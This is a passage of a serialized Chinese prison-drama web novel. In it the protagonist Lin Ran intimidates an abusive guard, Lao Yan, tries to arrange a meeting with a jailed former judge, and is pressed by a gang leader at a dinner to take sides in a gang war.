…………
上午劳动,缝纫车间。
林燃刚坐下,老严就晃过来了。
他今天不知道吃了什么药,脸上挂着那种让人恶心的笑,手里警棍一下一下敲着掌心,走到林燃跟前,停下。
“林燃啊,”他开口,声音阴阳怪气的,“你这几天表现不行啊。劳动不积极,态度不端正。得换个地方,好好磨炼磨炼。”
林燃抬起头,看着他。
老严那双鱼泡眼眯着,嘴角扯出个弧度:“锁边组那边缺人,你过去吧。”
锁边组。
是车间里最脏的活。
锁边机老旧,老断线,断一次就得重新穿,手快的也干不快。关键是那地方靠厕所,气味冲,没人愿意去。
刀疤辉蹭得站起来:“严管教,燃哥腿伤还没好利索,锁边组那边……”
“我跟你说话了?”老严斜他一眼,“坐下。”
刀疤辉咬牙,没动。
林燃冲他摆了摆手。
刀疤辉咽了口唾沫,慢慢坐回去。
林燃站起来,收拾自己那点工具。动作不紧不慢,脸上也没什么表情。
老严背着手,跟在他旁边,边走边说话,声音不大不小,刚好能让旁边几个犯人听见:
“林燃啊,你说你小子,到底有什么本事?一个杀人犯,进来一年多,又是打架又是斗殴,不但没加刑,还混出个‘血牙盟’来了。啧啧,年轻有为啊。”
第一百七十二章 忍无可忍
林燃没吭声,继续走。
之前靠着李昌东,收拾了老严一下,这老东西不敢轻易招惹自己。
但上次白癜风他们搞事,老严就参了一脚,现在又来弄自己,看来是有了新老大撑腰。
估计是副监狱长彭振。
林燃心如明镜。
此时,老严跟上来,凑近点,压低声音,但那种阴阳怪气的调子没变:
“我听说,你本事不止这些啊。医务室那边,苏医生——啧,那长得,那身段,你小子艳福不浅。”
林燃脚步顿了一下。
很轻的一下,但老严看见了。
他嘴角那点笑扯得更开:“怎么,戳你痛处了?别急啊,我还听说——你外面还有个女朋友?三天两头来探监,那叫一个勤快。你说,这两边,她们互相知道吗?”
林燃停下脚步。
他转过身,看着老严。
那双眼睛里没什么表情,冷,静,像冬天的水。
老严被那眼神刺了一下,脸上的笑僵了半秒。但马上又扯起来,警棍在掌心敲了敲:
“怎么?想打我?来啊,动手。动了手,你这日子就好过了。”
林燃盯着他看了两秒。
然后他笑了一下。
那笑容很淡,淡得几乎看不出来。但老严看见了,看见之后,心里突然有点发毛。
这小子……不对劲。
林燃没说话,转身继续走。
在这里动手?林燃没那么傻,这里敢动,马上就会被关禁闭。
他平静的走到锁边组那边,在最靠里那台机器前坐下,开始穿线。动作很稳,手指很准,跟没事人似的。
老严站在原地,看着他背影,脸上的笑慢慢收了。
旁边一个犯人凑过来,小声说:“严管教,这小子……”
“滚。”老严骂了一句,转身走了。
走出几步,他回头又看了一眼。
林燃还在穿线,低着头,看不清楚表情。
老严咬了咬牙,啐了一口,走了。
……
一上午,林燃都在锁边组那边。
机器老断线,断一次就得重新穿。他一遍一遍地穿,穿得手指都磨红了,脸上还是那副表情,什么也看不出来。
刀疤辉那边急得不行,几次想过来,被他用眼神制止了。
中午吃饭的时候,麻杆蹭过来,压低声音:
“燃哥,老严那狗东西,我帮你盯着。他今天下午值班,在办公室睡觉,晚上可能去小卖部那边拿东西。”
林燃点点头,没说话。
麻杆看了他一眼,没敢多问,缩回去了。
下午放风,林燃没在操场。
他坐在监舍里,靠着墙,看着窗外那堵高墙。
脑子里转着几件事。
孙绍裘。狗皮蛇。老严。
还有苏念晚那句话——以后医务室,只换药,不谈别的。
他想起她昨晚站在黑暗里的模样。眼眶红着,肿着,咬着嘴唇,咬得发白。她说那句话的时候,声音平得吓人,像是把什么东西生生咽回去了。
林燃闭了闭眼。
再睁开时,眼神比刚才更冷。
老严。
这狗东西,一而再再而三地跳,是觉得他林燃脾气好?
还是觉得,有彭振那层关系在,他就不敢动?
林燃慢慢活动了一下手腕。
手指关节处磨破了皮,是穿线磨的。有点疼,但能动。
够了。
他站起来,走到窗边。
探照灯的光还没亮,天灰蒙蒙的,压得很低。远处那堵高墙上,电网的铁丝在风里微微晃动,像一排沉默的牙齿。
刀疤辉推门进来,看见他站在窗边,愣了一下:
“燃哥?”
林燃没回头。
“辉子,”他说,“帮我办件事。”
刀疤辉凑过来:“你说。”
“老严今天晚上去小卖部那边,”林燃说,“几点,从哪条路走,弄清楚了。”
刀疤辉眼皮跳了跳:“燃哥,你想……”
“不弄他。”林燃转过身,看着他,“就是去看看。”
刀疤辉盯着他看了两秒。
燃哥说“去看看”,那就真是去看看。
可看完了之后呢?
他没问。
“我让麻杆去盯。”他说,“那小子腿快,嘴紧。”
林燃点点头。
刀疤辉转身要走,又停住,回头。
“燃哥,”他说,“苏医生那边……”
林燃没接话。
刀疤辉张了张嘴,把后面的话咽回去,推门出去了。
监舍里又安静下来。
林燃站在窗边,看着外面那堵墙。
墙上有根铁丝松了,在风里晃来晃去,一下一下地敲着水泥,发出很轻的笃笃声。
他想起老严那句话:
“这两边,她们互相知道吗?”
不知道。
也不需要知道。
苏念晚那边,他会解释。但不是现在。现在他得先把眼前的事理清楚。
孙绍裘那边,得等消息。
狗皮蛇那边,得想办法。
老严这边——
林燃慢慢握紧拳头。
手指关节处的伤口被挤得发疼,但这点疼,不算什么。
他在安江这一年多,学的最重要的一件事就是:
有些人,你不收拾他,他就觉得你好欺负。
老严这种人,就是欠收拾。傍晚的风从高墙那边吹过来,带着点煤渣和潮湿的土腥味。林燃蹲在312窗边,盯着外面那根松了的电网铁丝。它在风里晃,笃笃笃,敲得人心烦。
门开了。
麻杆闪进来,动作快得像条泥鳅。他蹲到林燃旁边,声音压得只剩一口气:
“燃哥,摸清楚了。老严今晚7点半放新闻后会去小卖部,从办公楼后面那条道走。那条路没监控,有一段是黑灯区——锅炉房那边的阴影,白天都没人走。”
林燃没说话,看着他。
麻杆咽了口唾沫,继续:“他平时这个点去,都是拿东西。有时候是烟,有时候是酒,有时候是一些……咳,乱七八糟的。小卖部那边有个人跟他熟,专门给他留货。”
“一个人?”
“一个人。”麻杆点头,“这老东西贪,不想让别人知道,从来都是自己去拿。”
林燃站起来。
他走到自己铺位边上,从枕头底下摸出那截手术刀片。刀片用布条缠着,只剩一点刃口露在外面,昏黄光线下几乎看不见。
他把刀片揣进内袋。
刀疤辉看见了,眼皮跳了跳,站起来:“燃哥,我跟你去。”
第一百七十三章 训狗
“不用。”林燃说,“人多眼杂。”
“可是——”
“你在这儿待着。”林燃打断他,“有事我会叫人。”
刀疤辉张了张嘴,没说出话。
周晓阳拄着拐站起来,脸上全是担心:“燃哥,那老严是管教,动了他,事儿就大了……”
林燃看了他一眼。
那眼神很平,没说什么,但周晓阳后面的话就咽回去了。
林燃走到门口,拉开门。
走廊里那盏应急灯发着惨绿的光,照得人脸发青。他往两头看了一眼,没人。
他闪出去,门在身后轻轻合上。
……
八点二十五。
天已经黑透了。高墙上的探照灯还没亮,只有远处办公楼那边透过来一点昏黄的光。
林燃蹲在锅炉房的阴影里。
这地方他熟。打过两次黑拳,锅炉房的每一个角落他都记得。
东边那条小路通小卖部,两边堆着废煤渣和生锈的铁管,平时没人来。
风从巷子口灌进来,带着煤灰,呛得人嗓子发干。林燃眯着眼,盯着巷子那头。
八点二十八分。
一个人影从办公楼那边晃出来。
老严。
他穿着那件洗得发灰的警服,袖子卷着,手里攥着个黑色的塑料袋。
步子拖沓,边走边哼着什么调子——听不清,但那种得意劲儿,隔着几十米都能感觉到。
他走进巷子。
林燃没动。
老严走到巷子中间,离他藏身的地方大概还有十米。
突然,老严停下脚步。
他回过头,往身后看了一眼。
没人。
他又往巷子两头看了看,皱着眉,像是在想什么。过了几秒,他摇了摇头,继续往前走。
林燃从阴影里闪出来。
他走得不快,脚步很轻,踩在煤渣上几乎没有声音。走到老严身后两米的时候,老严才听见动静,猛地回头——
“你——”
一个字刚出口,林燃的手已经搭上他肩膀。
不是推,不是打,就是搭着。
手指微微用力,捏在肩井穴上——警校擒拿课第一节,控制关节的第一课。
老严半边身子都麻了。
他瞪着眼,看着眼前这张年轻的脸。
惨白的应急灯光从巷子口透进来,照在林燃脸上,把那张脸照得发青,眼睛里却亮得瘆人。
“林……林燃……”老严喉咙滚动,声音都变了调。
“你他妈想干什么?我告诉你,我是管教!你动我一下——”
“严管教。”林燃打断他,声音很平,“别紧张。就是跟你说几句话。”
他松开手。
老严往后踉跄一步,背抵着墙。手里的塑料袋掉在地上,里面滚出两瓶酒,一瓶白酒,一瓶不知道什么,酒瓶撞在煤渣上,发出闷响。
林燃低头看了一眼。
“好酒,哪个孝敬你的?”他说。
老严没接话,喘着粗气,眼睛死死盯着他。
林燃往前走了一步。
老严下意识往后缩,但背后是墙,缩不动。
“严管教,”林燃说,声音还是那么平,“你今天在车间说的那些话,我记着了。”
老严腮帮子绷紧:“你想怎么样?”
林燃没回答。
他从内袋里摸出那截手术刀片。
布条解开,露出那一小截刃口。昏黄光线下,那点金属反射的光,冷得瘆人。
老严瞳孔缩了缩。
“林燃……你、你别乱来……”
林燃捏着刀片,在他眼前晃了晃。
“严管教,”他说,“你看这玩意儿,小不小?”
老严没吭声。
“就这么一小片,”林燃继续说,“藏在手心里,谁都看不见。往人身上一划——”
他做了个划的动作,很轻,几乎看不见。
“血管就开了。血流得不多,但止不住。等人发现,人已经凉了。”
老严额头上冒出汗珠。
“你……你威胁我?”
林燃摇摇头。
“不是威胁。”他说。
“是告诉你,我想弄你,什么时候都能弄。车间里,走廊上,厕所里,哪怕你睡觉的时候——”
他顿了顿,“你防不住。”
老严咬着牙,不说话。
林燃把刀片收起来,揣回内袋。
“但我不弄你。”他说。
老严愣了愣。
“今天就是告诉你,”林燃看着他,“以后你走你的阳关道,我走我的独木桥。你想讨好谁,想给谁当狗,那是你的事。但注意了,你别冲我叫,也别想咬我,我这人……专门杀狗的。”
老严脖子缩的像没了一般,大气不敢喘。
林燃见效果到了,又顿了顿。
“还有个事——”他声音压得更低,“别再提医务室,别再提苏医生。”
老严喉结滚动,然后不断点头。
林燃盯着他看了两秒,然后往后退了一步。
“今天的事,就当没发生。”他说,“你要去告,也行。反正我这身上背的案子够多了,不差这一件。但你想想——”
“你有几条命?”
老严脸色变了变。
林燃不再看他,转身往巷子深处走去。
走出几步,他停下来,回头。
“对了,”他说,“你那两瓶酒,碎了可惜。捡起来吧。”
说完,他消失在黑暗里。
老严靠着墙,大口喘气。
过了好一会儿,他才慢慢蹲下去,把地上那两瓶酒捡起来。酒瓶没碎,但瓶身上沾满了煤灰。
他攥着酒瓶,看着巷子那头。
什么也看不见。
只有风吹过煤渣的声音,沙沙的,像有人在说话。
……
林燃回到312的时候,刀疤辉几个都还没睡。
见他推门进来,几个人蹭地站起来。
“燃哥!”
“没事。”林燃走到自己铺位,坐下。
刀疤辉凑过来,压低声音:“老严那边……”
“谈过了。”林燃说,“以后不会有事。”
刀疤辉愣了愣,想问什么,但看见林燃那表情,没敢问。
周晓阳拄着拐挪过来,脸上又是担心又是好奇:“燃哥,你怎么跟他谈的?”
林燃看了他一眼。
“就谈。”他说。
周晓阳咽了口唾沫,没再问。
麻杆蹲在墙角,眼睛亮亮的:“燃哥,以后老严真不敢惹咱们了?”
林燃没回答。
他躺下,面朝墙壁。
脑子里转着刚才那些画面——老严抵着墙的样子,他额头上的汗珠子,还有那两瓶滚在煤渣里的酒。
这老东西,应该会老实一阵子。
但也就一阵子。
狗改不了吃屎。老严这种人,只要有机会,还会跳。
不过下次——
林燃闭上眼。
下次再说。
第一百七十四章 腐败犯
…………
昨晚的教训很快就有效果了。
第二天劳动,缝纫车间。
林燃一早就被从锁边组安排回了缝纫线。
回到靠窗的老位置,脚下踩着踏板,手里送着布料,针脚走得均匀。
老严彻底没了声息。
那几个以前跟着他混的犯人,现在蹲在车间角落里,头埋得低低的,恨不得把自己缩进缝纫机里。
监工位上换了人,是个面生的中年犯人,据说以前是四监区的,刚调过来。
他坐那儿,手里捏着本登记簿,眼睛时不时往林燃这边瞟,但眼神里没有敌意,更多的是好奇。
不知道这昨天刚宣布调锁边组的年轻犯人,怎么一晚上就回了稍微轻松点的缝纫组。
林燃没理他。
他脑子里转着别的事。
孙绍裘那边,已经递话给老程了。
接下来就是等。
可等,是最磨人的。
你不知道消息什么时候回来,也不知道回来的是什么消息。
万一孙绍裘硬是不理不睬。
或者老程这个小小书记员的面子不够……
那就得想别的办法。
林燃想起北佬帮和码头帮,他们两家在这根深蒂固,应该有办法。
又是个交易。
又得欠人情。
可在这地方,欠人情就是欠债。债欠多了,总有要还的时候。
他咬了咬牙,继续踩踏板。
先等老程那边的消息。
不行再说。
所幸消息很快到了。
——-
下午放风,
刀疤辉带回消息。
“燃哥,打听到了。”
他蹲在单杠边,压低声音。
“孙绍裘,58岁,原安江市中院院长。”
刀疤辉语速不快,每个字都咬得清楚,“受贿260万,徇私枉法,判了12年。今年3月进来的,在四监区,207监舍。”
“他在四监区,单独关押。那边有个小号,专门关这种特殊犯人。平时不怎么出来,放风都是单独放,不跟其他人接触。”
林燃慢慢活动着左腿,没说话。
“据说这人在里面挺老实,不惹事,也不跟谁来往。”
刀疤辉继续说。
“管教那边对他也挺客气,住单间,开小灶,不用参加劳动,毕竟是干过院长的,司法系统的,谁知道他剩下能量有多大。”
四监区。
林燃心里咯噔一下,那边都是前大盖帽,麻烦。
“还有吗?”
“有。”
刀疤辉左右看看,声音压得更低。
“这人在法院系统干了三十年,经手的案子数不清。进去之前,安江这边有点头脸的人,没几个不认得他。关键是——”
他顿了顿。
“有人说,他手里握着的东西,能压死一打人。那些年判的案子,谁送过钱,谁打过招呼,谁托过人,他都记着。本来不该判这么重,是有人想让他闭嘴,才把他弄进来的。”
林燃没说话。
这话他信。
司法系统里这种事不少。
干了一辈子的老法官,知道的秘密太多,到了该退的时候,有人不放心,就送他进去。
人进去了,嘴就闭上了,那些秘密就烂在肚子里了。
“他现在什么状态?”
“低调。”刀疤辉说。
“非常低调。不惹事,不跟人来往,每天看书、吃饭、放风,三点一线。四监区那边的人说,这人跟谁都不说话,见人就低头,跟个影子似的。”
林燃点点头。
聪明。
这种地方,前院长算什么?进来就是犯人。摆谱,有人收拾你。托大,有人教你做人。只有把自己缩起来,缩到没人注意,才能安安稳稳熬日子。
“能见到他吗?”
刀疤辉摇摇头:“难。四监区那边管得严,外人进不去。而且孙绍裘这种,管教肯定盯着,不会让随便接触。”
林燃点点头。
难,不代表没门。
他想了想,问:“四监区那边,有咱们的人吗?”
刀疤辉皱眉想了想,往麻杆那边一瞥:“那边都是贪污犯,以前都是‘大盖帽’,只有让麻杆找老程。”
想到那个之前合作过的前书记员,林燃点了点头。
“能递话吗?”
刀疤辉愣了愣:“燃哥,你是想……”
“先递个话。”林燃说,“就说有人想见他一面,问他愿不愿意见。”
刀疤辉犹豫了一下:“燃哥,孙绍裘那种人,干了几十年法院,见的案子比咱们吃的米都多。他要是那么容易见,早见了。”
“我知道。”林燃站起来,活动了一下腿,“先递话,看他反应。”
刀疤辉点点头,没再问。
他知道燃哥的脾气,定了的事,九头牛都拉不回。
——-
两天后,消息回来了。
老程托人带的话,就一句:
“孙院长说,他现在是犯人,不见外人。请那位朋友别费心了。”
林燃听完,脸上没什么表情。
麻杆在旁边看着,忍不住问:
“燃哥,这……还继续吗?”
林燃没回答。
他站在放风场边上,看着远处那堵高墙。
墙上的电网在灰蒙蒙的天色里泛着冷光,有鸟落在上面,又飞走了。
孙绍裘不见人。
正常。
那种干了一辈子法院的人,最知道轻重。他现在是犯人,一举一动都被人盯着。
见个陌生人,谁知道会传出什么话来?
可他不见人,不代表没办法。
林燃想起秦墨说的那句话:“这人手里握着太多人的秘密。”
秘密这东西,藏着是祸,说出来也是祸。怎么才能让一个满身秘密的人,愿意开口?
除非——
让他觉得,开口比闭嘴更安全。
或者,让他觉得,那个要听秘密的人,比外面那些想灭口的人,更可怕。
林燃转过身,往回走。
麻杆跟上来,想问又不敢问。
走了几步,林燃忽然开口:
“辉子,老程这人,靠谱吗?”
刀疤辉想了想:“还行。这人嘴严,办事也牢靠。你看之前帮我们几次了,也没坑过谁。”
“让他再递句话。”林燃说,“就说——”
他顿了顿。
“就说我想跟他谈笔生意。不是让他帮我,是帮他。”
麻杆愣了愣:“帮他?孙绍裘那种人,能有什么需要帮的?”
林燃没解释。
他想起前世听说过的一件事。
这件事可以用来对付孙绍裘。
第一百七十五章 门路
前世里。
孙绍裘判了十二年,进去没几年就保外就医了。
当时监狱里最没脑子的暴力犯都看得出,他身体其实没什么大病,是有人在外面运作。
至于为什么运作——有人说是他手里握着的东西,不敢不让他出去。
如果真是这样,那孙绍裘现在最怕的,不是坐牢,是出不去。
只要孙绍裘有怕的东西,就有缺口。
“就按我说的递,就说他如果想按计划出去的话,就见一面,我能帮他。”他说。
麻杆听完,似懂非懂的点点头,转身走了。
太阳从云层缝隙里漏出来一点光,落在那堵高墙上,把电网的铁丝照得发亮。
他想起苏念晚。
老严那句话,像根钉子,钉在她心里了。
林燃吸了口气,把那点念头压下去。
现在不是时候。
等孙绍裘这边有眉目了,再去医务室。
到时候,他得想好怎么开口。
可问题是——怎么开口?
说“那是我演戏用的假女朋友”?苏念晚信吗?
说“我跟她没什么,就是合作关系”?她自己就是被他用“合作关系”绑住的,这话听着像什么?
林燃揉了揉眉心。
这事,比对付白癜风还麻烦。
…………
林燃重新递话后,这次回信来的特别快。
麻杆带回消息的时候,林燃正在阅览室里翻一本破得没皮的《刑法学释义》。
老赵头出去抽烟了,阅览室里就他一个人。
阳光从铁窗斜射进来,旧书架上明暗交错,灰尘在光柱里慢慢翻滚。
麻杆进来,他算是这里的稀客。
他蹲到林燃旁边,压低声音:
“燃哥,老程那边有回信了。”
林燃没抬头,手指还在书页上慢慢划过。
“说。”
“孙绍裘愿意见面。”麻杆顿了顿,“但有条件——要你亲自去四监区见他。”
林燃手指停了一下。
他抬起头,看着麻杆。
麻杆被那眼神盯得有点发毛,赶紧补充:“老程说,这话是孙绍裘原话,一字没改。他说……说想见面可以,但得是你自己去,不是递话,不是让人传话,是面对面。他还说——”
麻杆咽了口唾沫。
“他说,如果你连四监区都进不来,那见面也没用。”
林燃没说话。
他把书合上,靠在椅背上。
四监区。
安江监狱最特殊的地方。
关的都是什么人?前官员,前法官,前警察,前国企老总——
那些在外面有头有脸、进来之后还端着架子的人。犯人私下管那儿叫“干部监区”,管教面上不说什么,心里也明白,那帮人跟普通犯人不一样。
不仅仅是待遇多,也是麻烦多。
这里不少人虽然落马了,能量还在。
谁都不想惹麻烦。
林燃一个三监区的“泥腿子”,贩毒罪进来的,在那边一个人都不认识。想进四监区见孙绍裘?
门都没有。
特别孙绍裘还是在单独监室。
身份更不一般。
“他还说什么了?”林燃问。
麻杆摇摇头:“就这些。老程说,孙绍裘那人话少,能说这几句已经算多的了。老程还让我转告你——说这人精明得很,他这是在试你。”
试什么?
试有没有资格跟他见面。
林燃扯了扯嘴角。
也是。
那种干了几十年法院的人,什么场面没见过?随便来个犯人想见他,他就见?那他这些年白混了。
“行,我知道了。”林燃站起来,把那本破书放回书架,“你先回去。”
麻杆点点头,猫着腰溜了。
林燃站在书架前,盯着那排书脊,脑子里转得飞快。
四监区。
他进不去。
但孙绍裘既然提了这个条件,就说明他留了门。关键是,门在哪儿?
……
接下来两天,林燃把能用的脑子都用上了。
吃饭时想,劳动时想,放风时想,熄灯后躺在铺上还在想。
他把安江监狱翻来覆去想了无数遍。哪个监区能串门,哪个管教能通融,哪个犯人能帮忙——全想过。
没用。
四监区那地方,像块铁板,无缝可钻。
“燃哥,”刀疤辉看他这两天心事重重,忍不住问,“要不咱找北佬帮问问?他们在四监区也有人吧?”
林燃摇头。
赵大金那边,欠的人情还没还,再开口,就得拿东西换。他现在有什么?什么都没有。
码头帮更别提。小霸王那档子事还没凉透,这时候找上门,是送把柄。
得自己想办法。
……
第三天下午,阅览室。
林燃照常来整理书架。
老赵头今天话少,捧着茶杯坐在门口,眼睛半眯着,也不知道是睡着了还是在想什么。
林燃把那堆旧报纸按日期理好,正要往架子上放,忽然瞥见最底下压着张纸——是上个月的《安江监狱简报》。
这东西他平时不看,都是些官样文章,什么“教育改造取得新成效”、“安全生产月活动总结”之类的废话。
但今天他随手翻了翻。
翻到第三版时,手指停了。
那版右下角有块豆腐干大小的通知,标题是:
内容很简单:为促进不同监区犯人之间的学习交流,监狱决定在部分监区试点“互助学习小组”活动。每周四下午,各监区可推荐表现良好的犯人,到指定监区参加学习小组,交流改造心得。试点监区包括:二监区、四监区……
四监区。
林燃盯着那行字,看了三秒。
他把简报折好,放回原处,继续整理书架。
脸上没什么表情,但脑子里那根弦,悄无声息地绷紧了。
互助学习小组。
每周四下午。
各监区可推荐。
这东西,就是那道门。
……
林燃花了一晚上,把这事的门道想清楚了。
互助学习小组,听着是好事,实际上就是个面子活。监狱搞这种活动,是为了往上汇报时有东西写。参加的人,得是“表现良好”的——说白了,就是听话的,不惹事的,让管教省心的。
他林燃,符合吗?
贩毒进来的,一年多打了多少架,跟多少人结过梁子。放在任何管教眼里,都不是“表现良好”的那类。
但这事儿,他说了不算。
谁说了算?
第一百七十六章 鸿门宴?
管他的管教。
可现在三监区分管他的管教是谁?
老严。
那个被他堵在小巷子里、用刀片在眼前晃过的老严。
林燃扯了扯嘴角。
这事儿,有点意思了。
他去找老严?那老东西能答应才怪。可如果不通过老严,他连申请的门都摸不着。
除非——
换个渠道。
林燃想起一个人。
李昌东。
副监狱长李昌东。
当初用两万块钱开路,换了他一个“公开表扬”和阅览室的美差,又用钱,换他帮自己出医疗监区。
后来出了那么多事,李昌东一直没怎么露面。
上次笑面佛那事,他还特意来提醒过一句“最近风声紧”。
这人在林燃眼里,就是个貔貅——只进不出。但貔貅也有好处,只要你有东西喂,他就给你办事。
问题是,林燃现在没东西喂。
两万块钱早就花完了。上次黑拳赢的一万,给苏念晚母亲打过去,剩下的零碎也填了各种窟窿。现在他身上,连包像样的烟都拿不出来。
得先搞钱。
……
搞钱这事,说来也巧。
第二天放风,大眼仔找上门了。
他一个人来的,没带人,走到林燃跟前,站定。
“燃哥。”他开口,声音比之前客气多了。
林燃正蹲在单杠边上活动腿,闻言抬起头,看着他。
大眼仔那双眼袋很重的眼睛这会儿没什么表情,但站姿比之前低了几分——不是哈腰,是那种知道面前人不好惹的、下意识收敛。
“王哥禁足结束了。”他说,“让我带个话。”
王哥,就是码头帮的二当家——小霸王。
上次码头帮明面上请自己打黑拳,实际上却和白癜风串通一气,想收拾自己。
所幸林燃最后挟持小霸王,逃过一劫。
双方关系虽然在林燃干服白癜风后,有所缓解。
小霸王也被船爷批评,禁足了一段时间。
但关系已经回不到以前了。
现在又找来,想必是来缓和关系的。
林燃没接话,等着,吊他胃口。
“王哥说,之前的事,一笔勾销。”大眼仔顿了顿,“但码头帮的规矩,过去了就过去了,往后是往后。他想请你喝个茶,聊聊天。”
喝茶。
监狱里的“喝茶”,跟外面不一样。
不是真喝茶,是吃饭。小炒区那边有几个包厢,平时管教用来招待外面来的领导,有时候也默许犯人在里面“谈事”。当然,得花钱,花不少钱。
“什么时候?”林燃问。
“明天中午。”大眼仔说,“小炒区,芙蓉厅。”
林燃想了想。
小霸王禁足结束,第一件事就是请他喝茶。
这是什么意思?
示好?试探?还是鸿门宴?
都有可能。
但他现在缺钱,缺路子,缺所有能让他进四监区的东西。码头帮这条线,虽然不干净,但有油水。
“行。”林燃站起来,“明天中午,我去。”
大眼仔点点头,转身走了。
走出几步,他又停下来,回头看了一眼。
那眼神有点复杂,像是想说什么,又咽回去了。
林燃没问。
他知道大眼仔在想什么——
一个三监区的“泥腿子”,先是废了鳄老大,再是扳倒笑面佛,接着把白癜风收拾得服服帖帖,现在连小霸王都主动请喝茶。
他是知道自己实力的,也是最开始代表码头帮过来拉拢自己的。
说起来,林燃对这个沿海地区来的油滑混子挺有好感。
但背叛和算计,让他又不得不提防。
现在形势所迫,又不得不以身犯险。
只能说在安江监狱,没有永远的朋友,只有永远的利益。
明天这顿饭,得吃。吃了,才能有钱。有了钱,才能喂李昌东。喂了李昌东,才能进四监区。进了四监区,才能见孙绍裘。
见了孙绍裘,才能——
后面的事,还太远。
先走眼前这步。
……
晚上熄灯后,312监舍。
林燃把这事跟刀疤辉说了。
刀疤辉听完,眉头皱得能夹死苍蝇。
“燃哥,小霸王那人,我听说过。”他压低声音,“心眼小,记仇。上次你架他脖子那事,他能真的一笔勾销?我不信。”
林燃没说话。
“要不我跟你去?”刀疤辉说,“万一有什么事,好歹有个照应。”
林燃摇头。
“人家请的是我,不是血牙盟。”他说,“我一个人去,反倒安全。”
刀疤辉想了想,点点头。
“那你小心点。”他说,“那帮人,没一个好东西。”
林燃嗯了一声,躺下。
窗外的探照灯光还是每隔十五秒扫过一次。
他想起苏念晚。
已经三天没去医务室了。
上次她说完那句话之后,就再没见过面。
等这事了了,得去一趟。
但去之前,他得想好怎么说。
怎么解释秦墨的事。
怎么解释那一切。
怎么让她相信——
林燃闭上眼。
算了,想不明白。
先想钱的事。
明天这顿饭,得吃出点东西来。
……
第二天中午,小炒区,芙蓉厅。
说是什么“芙蓉厅”,好像外面酒店包厢一样,实际上就是个食堂用木板隔出来的隔间。
但在监狱里,作为平时招待干部的场所,已经相当“豪华”了。
包厢不大,一张圆桌,几把椅子,墙上挂着幅印刷的老旧山水画,角落甚至有台旧空调,嗡嗡响着。
桌上摆着几个菜——红烧肉、糖醋鱼、炒青菜,还有碗热腾腾的鸡蛋汤。
在监狱里,这已经是顶配了。
林燃到的时候,小霸王已经坐在里面了。
小霸王坐在主位上,见林燃进来,没站起来,只是抬了抬下巴:
“坐。”
林燃在他对面坐下。
两人隔着圆桌,中间是那几盘冒着热气的菜。
小霸王比上次见面时瘦了点,脸上那道疤在灯光下显得更深。他手里夹着根烟,没点,就那么夹着。
“吃。”他说。
林燃拿起筷子,夹了块红烧肉,放进嘴里。
肉炖得烂,入口即化。在监狱里吃惯了清汤寡水,这东西进嘴,舌头都软了。
小霸王看着他吃,自己没动筷子。
过了几秒,他忽然笑了。
“林燃,”他说,“你知道我为什么请你吃饭吗?”
第一百七十七章 了难
林燃放下筷子,看着他。
“不知道,可能我长得帅吧。”
这冷笑话说出来,在场都皮笑肉不笑的配合下。
小霸王把烟叼嘴里,摸出打火机,点上。深吸一口,烟雾从鼻子里喷出来。
“我今天不是因为白癜风那事向你赔罪的,那事,你不要怪我们,这里弱肉强食,有人出钱,我们办事,理所应当。”
没想到这小霸王提到背叛自己的时候,还是这么理直气壮。
林燃脸色暗了暗,对面小霸王继续说:
“今天请你,是因为你够狠,上次打黑拳,你在那种时候,还敢威胁我,这点我佩服。”
说起上次的事,林燃嘴角一撇,笑了笑。
小霸王继续说,“而且,你也够聪明,知道什么时候该怎么做。”
林燃没接话。
由着他继续说。
“白癜风那,我讲实话,我一直看不起那家伙,是有人通过他,向我们施压,要我们合作,一起弄你,来人来头大,我们也没办法,只能配合。”
“不就是彭振嘛!说这么复杂干嘛。”
听到这,林燃忍不住了,语气一厉,就把上次黑拳时,自己被码头帮出卖,被白癜风埋伏的幕后主使说了出来。
小霸王没想到这家伙居然知道内情,甚至当众说出那副监狱长的名字,而且毫不避讳,毫不畏惧!
他惊了一跳。
自己外号小霸王,有个霸字,但眼前这林燃,比自己霸气更足!
原先他们还不知道这小子怎么会得罪那么位高权重的人物。
这下看来,这小子的来历深不可测!
小霸王语气软了。
“咳咳,你理解就好,所以后面,你把白癜风给整服了,我们也乐见其成,不然那个笑面佛留下的丧家犬,还以为自己真是老大了……”
说到最近林燃做的这些事,他突然又想起几个名字:刘长生,还有老严——
不知不觉,得罪这小子的,好像都没有好下场!
小霸王不自觉的打了个冷战。
他决定试探一下。
“听说老严最近老实多了,以前见谁都龇牙,现在走路都夹着尾巴。有人说,是被人堵在小巷子里,拿刀片在眼前晃过……听说和你有关?”
林燃脸上没什么表情。
小霸王盯着眼前阴鸷秀美的年轻男人看了几秒,此人深沉的态度,让他心里发怵。
“行,不说了。”他拿起筷子,夹了块鱼,“吃吧,吃完说正事。”
两人闷头吃饭。
红烧肉、糖醋鱼、炒青菜、鸡蛋汤,一样一样往嘴里送。监狱里能吃上这顿,不容易,不能浪费。
吃到一半,小霸王放下筷子,靠回椅背。
“林燃,”他说,“你知道现在三监区什么情况吗?”
林燃也放下筷子。
“知道。”他说,“码头帮和北佬帮在争地盘,打得凶。”
“马上要出人命了。”
小霸王接话,声音里带着点说不清的意味。
“上个月,码头帮在北边那条线收‘管理费’,北佬帮的人直接砸了场子。两个监区的,在厕所里动了刀子。一个肚子上开了口,肠子差点出来;另一个手筋被挑,现在还在医疗监区躺着。”
林燃没说话,夹了块鱼。
“这还不算。”小霸王继续说。
“上周,北佬帮那边有个叫‘愣子’的,在放风场被码头帮的人堵了。打折三根肋骨,脾脏破裂,差点没救过来。赵大金放话了,这事没完。”
“然后呢?”
“然后?”小霸王扯了扯嘴角,“然后就现在这样呗。放风场分成两半,中间那条白线谁也不敢过。食堂打饭,码头帮和北佬帮的人隔开三个窗口。连上厕所都得分时段——一三五码头帮,二四六北佬帮,还是动不动就开整。”
林燃放下筷子,端起那碗鸡蛋汤,喝了一口。汤凉了,有点腥。
小霸王点点头。
“那你觉得,谁能赢?”
林燃想了想。
“不好说。”他说,“北佬帮那边,赵大金是老江湖,手下人敢拼命。码头帮这边——”
他看了看小霸王。
“你被禁足这段时间,码头帮的事,我没怎么打听。”
小霸王笑了笑。
那笑容有点冷。
“码头帮的事,不用你打听。”
他说,“我就问你一句——”
他把身子往前探了探,盯着林燃的眼睛。
“你站哪边?”
林燃没立刻回答。
他看着小霸王。
这人眼睛里有东西——不是试探,是拉拢,也是威胁。
站队。
又是站队。
从进安江第一天起,就有人让他站队。笑面佛,白癜风,北佬帮,码头帮——一个个的,都想让他站。
可林燃到现在,谁也没站。
他站在自己这边。
“王哥,”林燃开口,声音很平,“我谁都不站。”
小霸王眼睛眯了眯。
“你什么意思?”
